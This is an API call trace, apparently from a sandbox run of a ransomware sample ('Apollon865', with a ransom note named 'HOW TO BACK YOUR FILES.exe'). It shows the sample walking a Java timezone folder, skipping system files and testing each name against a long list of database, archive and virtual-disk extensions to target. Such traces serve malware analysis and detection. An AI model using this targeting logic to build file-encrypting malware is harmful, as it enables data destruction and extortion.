	[0054.657] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38a66490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38a66490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.659] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.659] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.660] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.660] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.660] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Amsterdam", cAlternateFileName="AMSTER~1")) returned 1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="Apollon865.txt.exe") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2=".") returned 1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="..") returned 1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="windows") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="bootmgr") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="temp") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="pagefile.sys") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="boot") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="ids.txt") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="ntuser.dat") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="perflogs") returned -1
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2="MSBuild") returned -1
	[0054.660] lstrlenW (lpString="Amsterdam") returned 9
	[0054.660] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*") returned 48
	[0054.660] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Amsterdam" | out: lpString1="Amsterdam") returned="Amsterdam"
	[0054.660] lstrlenW (lpString="Amsterdam") returned 9
	[0054.660] lstrlenW (lpString="Apollon865") returned 10
	[0054.660] lstrlenW (lpString=".dll") returned 4
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2=".dll") returned 1
	[0054.660] lstrlenW (lpString=".lnk") returned 4
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2=".lnk") returned 1
	[0054.660] lstrlenW (lpString=".ini") returned 4
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2=".ini") returned 1
	[0054.660] lstrlenW (lpString=".sys") returned 4
	[0054.660] lstrcmpiW (lpString1="Amsterdam", lpString2=".sys") returned 1
	[0054.660] lstrlenW (lpString="Amsterdam") returned 9
	[0054.660] lstrlenW (lpString="bak") returned 3
	[0054.660] lstrcmpiW (lpString1="dam", lpString2="bak") returned 1
	[0054.661] lstrlenW (lpString="ba_") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="ba_") returned 1
	[0054.661] lstrlenW (lpString="dbb") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="dbb") returned -1
	[0054.661] lstrlenW (lpString="vmdk") returned 4
	[0054.661] lstrcmpiW (lpString1="rdam", lpString2="vmdk") returned -1
	[0054.661] lstrlenW (lpString="rar") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="rar") returned -1
	[0054.661] lstrlenW (lpString="zip") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="zip") returned -1
	[0054.661] lstrlenW (lpString="tgz") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="tgz") returned -1
	[0054.661] lstrlenW (lpString="vbox") returned 4
	[0054.661] lstrcmpiW (lpString1="rdam", lpString2="vbox") returned -1
	[0054.661] lstrlenW (lpString="vdi") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="vdi") returned -1
	[0054.661] lstrlenW (lpString="vhd") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="vhd") returned -1
	[0054.661] lstrlenW (lpString="vhdx") returned 4
	[0054.661] lstrcmpiW (lpString1="rdam", lpString2="vhdx") returned -1
	[0054.661] lstrlenW (lpString="avhd") returned 4
	[0054.661] lstrcmpiW (lpString1="rdam", lpString2="avhd") returned 1
	[0054.661] lstrlenW (lpString="db") returned 2
	[0054.661] lstrcmpiW (lpString1="am", lpString2="db") returned -1
	[0054.661] lstrlenW (lpString="db2") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="db2") returned -1
	[0054.661] lstrlenW (lpString="db3") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="db3") returned -1
	[0054.661] lstrlenW (lpString="dbf") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="dbf") returned -1
	[0054.661] lstrlenW (lpString="mdf") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="mdf") returned -1
	[0054.661] lstrlenW (lpString="mdb") returned 3
	[0054.661] lstrcmpiW (lpString1="dam", lpString2="mdb") returned -1
	[0054.662] lstrlenW (lpString="sql") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="sql") returned -1
	[0054.662] lstrlenW (lpString="sqlite") returned 6
	[0054.662] lstrcmpiW (lpString1="terdam", lpString2="sqlite") returned 1
	[0054.662] lstrlenW (lpString="sqlite3") returned 7
	[0054.662] lstrcmpiW (lpString1="sterdam", lpString2="sqlite3") returned 1
	[0054.662] lstrlenW (lpString="sqlitedb") returned 8
	[0054.662] lstrcmpiW (lpString1="msterdam", lpString2="sqlitedb") returned -1
	[0054.662] lstrlenW (lpString="xml") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="xml") returned -1
	[0054.662] lstrlenW (lpString="$er") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="$er") returned 1
	[0054.662] lstrlenW (lpString="4dd") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="4dd") returned 1
	[0054.662] lstrlenW (lpString="4dl") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="4dl") returned 1
	[0054.662] lstrlenW (lpString="^^^") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="^^^") returned 1
	[0054.662] lstrlenW (lpString="abs") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="abs") returned 1
	[0054.662] lstrlenW (lpString="abx") returned 3
	[0054.662] lstrcmpiW (lpString1="dam", lpString2="abx") returned 1
	[0054.662] lstrlenW (lpString="accdb") returned 5
	[0054.662] lstrcmpiW (lpString1="erdam", lpString2="accdb") returned 1
	[0054.662] lstrlenW (lpString="accdc") returned 5
	[0054.662] lstrcmpiW (lpString1="erdam", lpString2="accdc") returned 1
	[0054.662] lstrlenW (lpString="accde") returned 5
	[0054.662] lstrcmpiW (lpString1="erdam", lpString2="accde") returned 1
	[0054.662] lstrlenW (lpString="accdr") returned 5
	[0054.662] lstrcmpiW (lpString1="erdam", lpString2="accdr") returned 1
	[0054.662] lstrlenW (lpString="accdt") returned 5
	[0054.662] lstrcmpiW (lpString1="erdam", lpString2="accdt") returned 1
	[0054.662] lstrlenW (lpString="accdw") returned 5
	[0054.662] lstrcmpiW (lpString1="erdam", lpString2="accdw") returned 1
	[0054.663] lstrlenW (lpString="accft") returned 5
	[0054.663] lstrcmpiW (lpString1="erdam", lpString2="accft") returned 1
	[0054.663] lstrlenW (lpString="adb") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="adb") returned 1
	[0054.663] lstrlenW (lpString="adb") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="adb") returned 1
	[0054.663] lstrlenW (lpString="ade") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="ade") returned 1
	[0054.663] lstrlenW (lpString="adf") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="adf") returned 1
	[0054.663] lstrlenW (lpString="adn") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="adn") returned 1
	[0054.663] lstrlenW (lpString="adp") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="adp") returned 1
	[0054.663] lstrlenW (lpString="alf") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="alf") returned 1
	[0054.663] lstrlenW (lpString="ask") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="ask") returned 1
	[0054.663] lstrlenW (lpString="btr") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="btr") returned 1
	[0054.663] lstrlenW (lpString="cat") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="cat") returned 1
	[0054.663] lstrlenW (lpString="cdb") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="cdb") returned 1
	[0054.663] lstrlenW (lpString="ckp") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="ckp") returned 1
	[0054.663] lstrlenW (lpString="cma") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="cma") returned 1
	[0054.663] lstrlenW (lpString="cpd") returned 3
	[0054.663] lstrcmpiW (lpString1="dam", lpString2="cpd") returned 1
	[0054.664] lstrlenW (lpString="dacpac") returned 6
	[0054.664] lstrcmpiW (lpString1="terdam", lpString2="dacpac") returned 1
	[0054.664] lstrlenW (lpString="dad") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dad") returned 1
	[0054.664] lstrlenW (lpString="dadiagrams") returned 10
	[0054.664] lstrlenW (lpString="daschema") returned 8
	[0054.664] lstrcmpiW (lpString1="msterdam", lpString2="daschema") returned 1
	[0054.664] lstrlenW (lpString="db-journal") returned 10
	[0054.664] lstrlenW (lpString="db-shm") returned 6
	[0054.664] lstrcmpiW (lpString1="terdam", lpString2="db-shm") returned 1
	[0054.664] lstrlenW (lpString="db-wal") returned 6
	[0054.664] lstrcmpiW (lpString1="terdam", lpString2="db-wal") returned 1
	[0054.664] lstrlenW (lpString="dbc") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dbc") returned -1
	[0054.664] lstrlenW (lpString="dbs") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dbs") returned -1
	[0054.664] lstrlenW (lpString="dbt") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dbt") returned -1
	[0054.664] lstrlenW (lpString="dbv") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dbv") returned -1
	[0054.664] lstrlenW (lpString="dbx") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dbx") returned -1
	[0054.664] lstrlenW (lpString="dcb") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dcb") returned -1
	[0054.664] lstrlenW (lpString="dct") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dct") returned -1
	[0054.664] lstrlenW (lpString="dcx") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dcx") returned -1
	[0054.664] lstrlenW (lpString="ddl") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="ddl") returned -1
	[0054.664] lstrlenW (lpString="dlis") returned 4
	[0054.664] lstrcmpiW (lpString1="rdam", lpString2="dlis") returned 1
	[0054.664] lstrlenW (lpString="dp1") returned 3
	[0054.664] lstrcmpiW (lpString1="dam", lpString2="dp1") returned -1
	[0054.665] lstrlenW (lpString="dqy") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="dqy") returned -1
	[0054.665] lstrlenW (lpString="dsk") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="dsk") returned -1
	[0054.665] lstrlenW (lpString="dsn") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="dsn") returned -1
	[0054.665] lstrlenW (lpString="dtsx") returned 4
	[0054.665] lstrcmpiW (lpString1="rdam", lpString2="dtsx") returned 1
	[0054.665] lstrlenW (lpString="dxl") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="dxl") returned -1
	[0054.665] lstrlenW (lpString="eco") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="eco") returned -1
	[0054.665] lstrlenW (lpString="ecx") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="ecx") returned -1
	[0054.665] lstrlenW (lpString="edb") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="edb") returned -1
	[0054.665] lstrlenW (lpString="epim") returned 4
	[0054.665] lstrcmpiW (lpString1="rdam", lpString2="epim") returned 1
	[0054.665] lstrlenW (lpString="fcd") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="fcd") returned -1
	[0054.665] lstrlenW (lpString="fdb") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="fdb") returned -1
	[0054.665] lstrlenW (lpString="fic") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="fic") returned -1
	[0054.665] lstrlenW (lpString="flexolibrary") returned 12
	[0054.665] lstrlenW (lpString="fm5") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="fm5") returned -1
	[0054.665] lstrlenW (lpString="fmp") returned 3
	[0054.665] lstrcmpiW (lpString1="dam", lpString2="fmp") returned -1
	[0054.665] lstrlenW (lpString="fmp12") returned 5
	[0054.665] lstrcmpiW (lpString1="erdam", lpString2="fmp12") returned -1
	[0054.665] lstrlenW (lpString="fmpsl") returned 5
	[0054.665] lstrcmpiW (lpString1="erdam", lpString2="fmpsl") returned -1
	[0054.665] lstrlenW (lpString="fol") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="fol") returned -1
	[0054.666] lstrlenW (lpString="fp3") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="fp3") returned -1
	[0054.666] lstrlenW (lpString="fp4") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="fp4") returned -1
	[0054.666] lstrlenW (lpString="fp5") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="fp5") returned -1
	[0054.666] lstrlenW (lpString="fp7") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="fp7") returned -1
	[0054.666] lstrlenW (lpString="fpt") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="fpt") returned -1
	[0054.666] lstrlenW (lpString="frm") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="frm") returned -1
	[0054.666] lstrlenW (lpString="gdb") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="gdb") returned -1
	[0054.666] lstrlenW (lpString="gdb") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="gdb") returned -1
	[0054.666] lstrlenW (lpString="grdb") returned 4
	[0054.666] lstrcmpiW (lpString1="rdam", lpString2="grdb") returned 1
	[0054.666] lstrlenW (lpString="gwi") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="gwi") returned -1
	[0054.666] lstrlenW (lpString="hdb") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="hdb") returned -1
	[0054.666] lstrlenW (lpString="his") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="his") returned -1
	[0054.666] lstrlenW (lpString="ib") returned 2
	[0054.666] lstrcmpiW (lpString1="am", lpString2="ib") returned -1
	[0054.666] lstrlenW (lpString="idb") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="idb") returned -1
	[0054.666] lstrlenW (lpString="ihx") returned 3
	[0054.666] lstrcmpiW (lpString1="dam", lpString2="ihx") returned -1
	[0054.666] lstrlenW (lpString="itdb") returned 4
	[0054.666] lstrcmpiW (lpString1="rdam", lpString2="itdb") returned 1
	[0054.667] lstrlenW (lpString="itw") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="itw") returned -1
	[0054.667] lstrlenW (lpString="jet") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="jet") returned -1
	[0054.667] lstrlenW (lpString="jtx") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="jtx") returned -1
	[0054.667] lstrlenW (lpString="kdb") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="kdb") returned -1
	[0054.667] lstrlenW (lpString="kexi") returned 4
	[0054.667] lstrcmpiW (lpString1="rdam", lpString2="kexi") returned 1
	[0054.667] lstrlenW (lpString="kexic") returned 5
	[0054.667] lstrcmpiW (lpString1="erdam", lpString2="kexic") returned -1
	[0054.667] lstrlenW (lpString="kexis") returned 5
	[0054.667] lstrcmpiW (lpString1="erdam", lpString2="kexis") returned -1
	[0054.667] lstrlenW (lpString="lgc") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="lgc") returned -1
	[0054.667] lstrlenW (lpString="lwx") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="lwx") returned -1
	[0054.667] lstrlenW (lpString="maf") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="maf") returned -1
	[0054.667] lstrlenW (lpString="maq") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="maq") returned -1
	[0054.667] lstrlenW (lpString="mar") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="mar") returned -1
	[0054.667] lstrlenW (lpString="marshal") returned 7
	[0054.667] lstrcmpiW (lpString1="sterdam", lpString2="marshal") returned 1
	[0054.667] lstrlenW (lpString="mas") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="mas") returned -1
	[0054.667] lstrlenW (lpString="mav") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="mav") returned -1
	[0054.667] lstrlenW (lpString="maw") returned 3
	[0054.667] lstrcmpiW (lpString1="dam", lpString2="maw") returned -1
	[0054.667] lstrlenW (lpString="mdbhtml") returned 7
	[0054.667] lstrcmpiW (lpString1="sterdam", lpString2="mdbhtml") returned 1
	[0054.668] lstrlenW (lpString="mdn") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mdn") returned -1
	[0054.668] lstrlenW (lpString="mdt") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mdt") returned -1
	[0054.668] lstrlenW (lpString="mfd") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mfd") returned -1
	[0054.668] lstrlenW (lpString="mpd") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mpd") returned -1
	[0054.668] lstrlenW (lpString="mrg") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mrg") returned -1
	[0054.668] lstrlenW (lpString="mud") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mud") returned -1
	[0054.668] lstrlenW (lpString="mwb") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="mwb") returned -1
	[0054.668] lstrlenW (lpString="myd") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="myd") returned -1
	[0054.668] lstrlenW (lpString="ndf") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="ndf") returned -1
	[0054.668] lstrlenW (lpString="nnt") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="nnt") returned -1
	[0054.668] lstrlenW (lpString="nrmlib") returned 6
	[0054.668] lstrcmpiW (lpString1="terdam", lpString2="nrmlib") returned 1
	[0054.668] lstrlenW (lpString="ns2") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="ns2") returned -1
	[0054.668] lstrlenW (lpString="ns3") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="ns3") returned -1
	[0054.668] lstrlenW (lpString="ns4") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="ns4") returned -1
	[0054.668] lstrlenW (lpString="nsf") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="nsf") returned -1
	[0054.668] lstrlenW (lpString="nv") returned 2
	[0054.668] lstrcmpiW (lpString1="am", lpString2="nv") returned -1
	[0054.668] lstrlenW (lpString="nv2") returned 3
	[0054.668] lstrcmpiW (lpString1="dam", lpString2="nv2") returned -1
	[0054.669] lstrlenW (lpString="nwdb") returned 4
	[0054.669] lstrcmpiW (lpString1="rdam", lpString2="nwdb") returned 1
	[0054.669] lstrlenW (lpString="nyf") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="nyf") returned -1
	[0054.669] lstrlenW (lpString="odb") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="odb") returned -1
	[0054.669] lstrlenW (lpString="odb") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="odb") returned -1
	[0054.669] lstrlenW (lpString="oqy") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="oqy") returned -1
	[0054.669] lstrlenW (lpString="ora") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="ora") returned -1
	[0054.669] lstrlenW (lpString="orx") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="orx") returned -1
	[0054.669] lstrlenW (lpString="owc") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="owc") returned -1
	[0054.669] lstrlenW (lpString="p96") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="p96") returned -1
	[0054.669] lstrlenW (lpString="p97") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="p97") returned -1
	[0054.669] lstrlenW (lpString="pan") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="pan") returned -1
	[0054.669] lstrlenW (lpString="pdb") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="pdb") returned -1
	[0054.669] lstrlenW (lpString="pdm") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="pdm") returned -1
	[0054.669] lstrlenW (lpString="pnz") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="pnz") returned -1
	[0054.669] lstrlenW (lpString="qry") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="qry") returned -1
	[0054.669] lstrlenW (lpString="qvd") returned 3
	[0054.669] lstrcmpiW (lpString1="dam", lpString2="qvd") returned -1
	[0054.669] lstrlenW (lpString="rbf") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="rbf") returned -1
	[0054.670] lstrlenW (lpString="rctd") returned 4
	[0054.670] lstrcmpiW (lpString1="rdam", lpString2="rctd") returned 1
	[0054.670] lstrlenW (lpString="rod") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="rod") returned -1
	[0054.670] lstrlenW (lpString="rodx") returned 4
	[0054.670] lstrcmpiW (lpString1="rdam", lpString2="rodx") returned -1
	[0054.670] lstrlenW (lpString="rpd") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="rpd") returned -1
	[0054.670] lstrlenW (lpString="rsd") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="rsd") returned -1
	[0054.670] lstrlenW (lpString="sas7bdat") returned 8
	[0054.670] lstrcmpiW (lpString1="msterdam", lpString2="sas7bdat") returned -1
	[0054.670] lstrlenW (lpString="sbf") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="sbf") returned -1
	[0054.670] lstrlenW (lpString="scx") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="scx") returned -1
	[0054.670] lstrlenW (lpString="sdb") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="sdb") returned -1
	[0054.670] lstrlenW (lpString="sdc") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="sdc") returned -1
	[0054.670] lstrlenW (lpString="sdf") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="sdf") returned -1
	[0054.670] lstrlenW (lpString="sis") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="sis") returned -1
	[0054.670] lstrlenW (lpString="spq") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="spq") returned -1
	[0054.670] lstrlenW (lpString="te") returned 2
	[0054.670] lstrcmpiW (lpString1="am", lpString2="te") returned -1
	[0054.670] lstrlenW (lpString="teacher") returned 7
	[0054.670] lstrcmpiW (lpString1="sterdam", lpString2="teacher") returned -1
	[0054.670] lstrlenW (lpString="tmd") returned 3
	[0054.670] lstrcmpiW (lpString1="dam", lpString2="tmd") returned -1
	[0054.670] lstrlenW (lpString="tps") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="tps") returned -1
	[0054.671] lstrlenW (lpString="trc") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="trc") returned -1
	[0054.671] lstrlenW (lpString="trc") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="trc") returned -1
	[0054.671] lstrlenW (lpString="trm") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="trm") returned -1
	[0054.671] lstrlenW (lpString="udb") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="udb") returned -1
	[0054.671] lstrlenW (lpString="udl") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="udl") returned -1
	[0054.671] lstrlenW (lpString="usr") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="usr") returned -1
	[0054.671] lstrlenW (lpString="v12") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="v12") returned -1
	[0054.671] lstrlenW (lpString="vis") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="vis") returned -1
	[0054.671] lstrlenW (lpString="vpd") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="vpd") returned -1
	[0054.671] lstrlenW (lpString="vvv") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="vvv") returned -1
	[0054.671] lstrlenW (lpString="wdb") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="wdb") returned -1
	[0054.671] lstrlenW (lpString="wmdb") returned 4
	[0054.671] lstrcmpiW (lpString1="rdam", lpString2="wmdb") returned -1
	[0054.671] lstrlenW (lpString="wrk") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="wrk") returned -1
	[0054.671] lstrlenW (lpString="xdb") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="xdb") returned -1
	[0054.671] lstrlenW (lpString="xld") returned 3
	[0054.671] lstrcmpiW (lpString1="dam", lpString2="xld") returned -1
	[0054.671] lstrlenW (lpString="xmlff") returned 5
	[0054.671] lstrcmpiW (lpString1="erdam", lpString2="xmlff") returned -1
	[0054.671] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Andorra", cAlternateFileName="")) returned 1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="Apollon865.txt.exe") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2=".") returned 1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="..") returned 1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="windows") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="bootmgr") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="temp") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="pagefile.sys") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="boot") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="ids.txt") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="ntuser.dat") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="perflogs") returned -1
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2="MSBuild") returned -1
	[0054.672] lstrlenW (lpString="Andorra") returned 7
	[0054.672] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam") returned 56
	[0054.672] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Andorra" | out: lpString1="Andorra") returned="Andorra"
	[0054.672] lstrlenW (lpString="Andorra") returned 7
	[0054.672] lstrlenW (lpString="Apollon865") returned 10
	[0054.672] lstrlenW (lpString=".dll") returned 4
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2=".dll") returned 1
